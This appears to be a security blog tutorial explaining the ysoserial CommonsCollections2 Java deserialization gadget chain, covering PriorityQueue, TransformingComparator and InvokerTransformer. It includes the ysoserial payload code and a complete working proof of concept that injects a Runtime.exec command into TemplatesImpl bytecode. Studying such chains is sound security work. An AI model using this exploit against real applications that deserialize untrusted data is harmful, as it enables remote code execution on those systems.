CommonsCollection2

CommonsCollection2 uses Slightly different Approach

Although it uses the TemplatesImpl class to execute our controlled ByteCode along with InvokerTransformer but intead of chainedTransFormers it uses PriorityQueue

So lets First Dive in and understand what is PriorityQueue and how does it works.

    import java.util.PriorityQueue;
    
    public class SimplePriorityQueueDemo {
        public static void main(String[] args) {
            PriorityQueue<Integer> pq = new PriorityQueue<>();
            pq.add(30);
            pq.add(10);
            pq.add(20);
    
            System.out.println("Elements in priority order:");
            while (!pq.isEmpty()) {
                System.out.println(pq.poll());
            }
        }
    }
    

On the above code You wil see the numbers getting printed one by One.

Similarly, in PriorityQueue, apart from the default (blank) constructor, there is also a constructor that accepts a Comparator to define how the numbers in the queue are compared.

    AnotherClass ob = new AnotherClass();
    PriorityQueue<String> pq = new PriorityQueue<String>(2, ob);
    pq.add("a");
    pq.add("b");
    

The Another class looks like below

    import java.io.IOException;
    import java.io.Serializable;
    import java.util.Comparator;
    
    public class AnotherClass implements Comparator<String>, Serializable {
        public int compare(String a, String b) {
            if (a.equals(b))
                return 1;
            else {
                return -1;
            }
        }
    }
    

So the priorituQueue will execute the Compare Method Writeen on the AnotherClass.java file and will obtain the ouput

Basically, the constructor takes a Comparator, calls its compare() function, and then uses the result of that function to determine the ordering of elements in the queue.

Now lets understand little bit more of the priorityQueue on deserialization context
As we know from vanila java deserialization method, the data received by the readObject() method gets executed , and lets say the data we sent , is of a class which has a readObject implmented .
Then even if there is a classCastExecption the readObject code will still get executed.
Examining the PriorityQueue we can see it has a readObject block that looks like Below.

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        
        // Read in size, and any hidden stuff
        s.defaultReadObject();
    
        // Read in (and discard) array length
        s.readInt();
    
        SharedSecrets.getJavaObjectInputStreamAccess()
            .checkArray(s, Object[].class, size);
    
        final Object[] es = queue = new Object[Math.max(size, 1)];
    
        // Read in all elements.
        for (int i = 0, n = size; i < n; i++)
            es[i] = s.readObject();
    
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }
    

The heapify() checks if the comparator is null and if it is not null it calls the siftDownUsingComparator().
This function uses the Comparator we provided during the initilisation and calls the compare() method.
So the code Written on the Compare Method Will get Executed.

Now Lets Jump into the Payload

    public Queue<Object> getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);
    
        // mock method name until armed
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    
        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
    
        // stub data for replacement later
        queue.add(1);
        queue.add(1);
    
        // switch method called by comparator
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
    
        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = 1;
    
        return queue;
    }
    

We are using TransFormingComparator .So the Compare() on TransFormingComparator will get Executed.

Lets Take a look into how the Compare() Looks like in the TransFormingCompartor.

        public int compare(final I obj1, final I obj2) {
            final O value1 = transformer.apply(obj1);
            final O value2 = transformer.apply(obj2);
            return decorated.compare(value1, value2);
        }
        

It calls the Transformer.apply(), This transformer is the same TransFormer That we have passed

        public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
            this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
        }
        
        /**
         * Constructs an instance with the given Transformer and Comparator.
         *
         * @param transformer  what will transform the arguments to {@code compare}
         * @param decorated    the decorated Comparator
         */
        public TransformingComparator(
            final Transformer<? super I, ? extends O> transformer,
            final Comparator<O> decorated) {
            this.decorated = decorated;
            this.transformer = transformer; 
        }
        

And then it assigns it to this.transformer

So indeed it takes the TransFromer Provided by us and calls the TransForm() Method

But wait a sec, it calls the apply(), however there is no apply() in invokerTransformer, so there has to be some kind of code for the translation or apply() to transform

Check the code where the this.transForm is defined

        private final Transformer<? super I, ? extends O> transformer;
        

One thing to keep in mind is some modern Java frameworks (like Streams and Lambdas) allow functional interfaces (like Transformer) to be treated like Function.

So the below code

          Transformer<String, Integer> transformer = new InvokerTransformer<>("length", null, null);
          Integer length = transformer.transform("Hello");  // Calls transform() directly
          

can also be written as

          Function<String, Integer> func = transformer::transform;  // Adapts `Transformer` to `Function`
          Integer length = func.apply("Hello");  // Calls transform() via apply()
          

If you check the SuperClass i.e TransFormer.java you will see the below code

        public interface Transformer<T, R> extends Function<T, R> {
        
            @Override
            default R apply(final T t) {
                return transform(t);
            }
        
            /**
             * Transforms the input object into some output object.
             * 

* The input object SHOULD be left unchanged. *

* * @param input the object to be transformed, should be left unchanged * @return a transformed object * @throws ClassCastException (runtime) if the input is the wrong class * @throws IllegalArgumentException (runtime) if the input is invalid * @throws FunctorException (runtime) if the transform cannot be completed */ R transform(T input); }

This is how the apply() function eventually maps to transform().

In the full payload, we use TemplatesImpl and an InvokerTransformer to call toString() on it in order to trigger code execution.

But wait — the TemplatesImpl class doesn’t even define a toString() method. So how are we actually achieving code execution with it?

In the ysoserial payload, at a later stage, the toString method name is replaced with newTransformer:

    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
      

Then, using reflection, the contents of the queue are replaced with the TemplatesImpl object.

In short:

Quick Question:

Since we're using reflection to replace toString with newTransformer(), can we just call newTransformer() directly in a local PoC?

The answer is yes — but the code will be slightly different. The last four lines of the PoC will look something like this:

    InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
    PriorityQueue<TemplatesImpl> priorityQueue = new PriorityQueue<TemplatesImpl>(2, new TransformingComparator(transformer));
    priorityQueue.add(templates);
    priorityQueue.add(templates);
    

The Entire Code along with CreatesImpl for CommonsCollection2 will look like below with the Above Modification.

  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  import java.lang.reflect.Field;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import javassist.ClassClassPath;
  import javassist.ClassPool;
  import javassist.CtClass;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  import java.util.PriorityQueue;
  import javax.xml.transform.Templates;
  import org.apache.commons.collections4.Transformer;
  import org.apache.commons.collections4.functors.*;
  import org.apache.commons.collections4.comparators.TransformingComparator;
  
  public class cc2 {
      public static void main(String[] args) throws Exception {
          String command = "calc.exe";
          ClassPool pool = ClassPool.getDefault();
  
          /*
           * Explanation: Creating bytecode that extends AbstractTranslet
           */
          final CtClass clazz = pool.get(cc2.class.getName());
          String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
              command.replace("\\", "\\\\").replace("\"", "\\\"") +
              "\");";
          clazz.makeClassInitializer().insertAfter(cmd);
          CtClass superC = pool.get(AbstractTranslet.class.getName());
          clazz.setSuperclass(superC);
          final byte[] classBytes = clazz.toBytecode();
          byte[] maliciousBytecode = classBytes;
  
          TemplatesImpl templates = new TemplatesImpl();
  
          Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
          bytecodesField.setAccessible(true);
          bytecodesField.set(templates, new byte[][]{ maliciousBytecode });
  
          Field nameField = TemplatesImpl.class.getDeclaredField("_name");
          nameField.setAccessible(true);
          nameField.set(templates, "Exploit");
  
          Field tfacname = TemplatesImpl.class.getDeclaredField("_tfactory");
          tfacname.setAccessible(true);
          tfacname.set(templates, TransformerFactoryImpl.class.newInstance());
  
          // Use transformer and transforming comparator
          InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
          PriorityQueue<TemplatesImpl> priorityQueue = new PriorityQueue<TemplatesImpl>(2, new TransformingComparator(transformer));
          priorityQueue.add(templates);
          priorityQueue.add(templates);
  
          /*
          Field field = PriorityQueue.class.getDeclaredField("queue");
          field.setAccessible(true);
          final Object[] queueArray = (Object[]) field.get(priorityQueue);
          queueArray[0] = templates;
          queueArray[1] = 1;
          */
      }
  }
  

This is how the CommonsCollection2 Payload works, staring from the EntryPoint to Code Execution

Summary:

Thats it for Today.

Thanks For Reading.

Happy Hacking.

You can connect with me at:

Linkedin

Twitter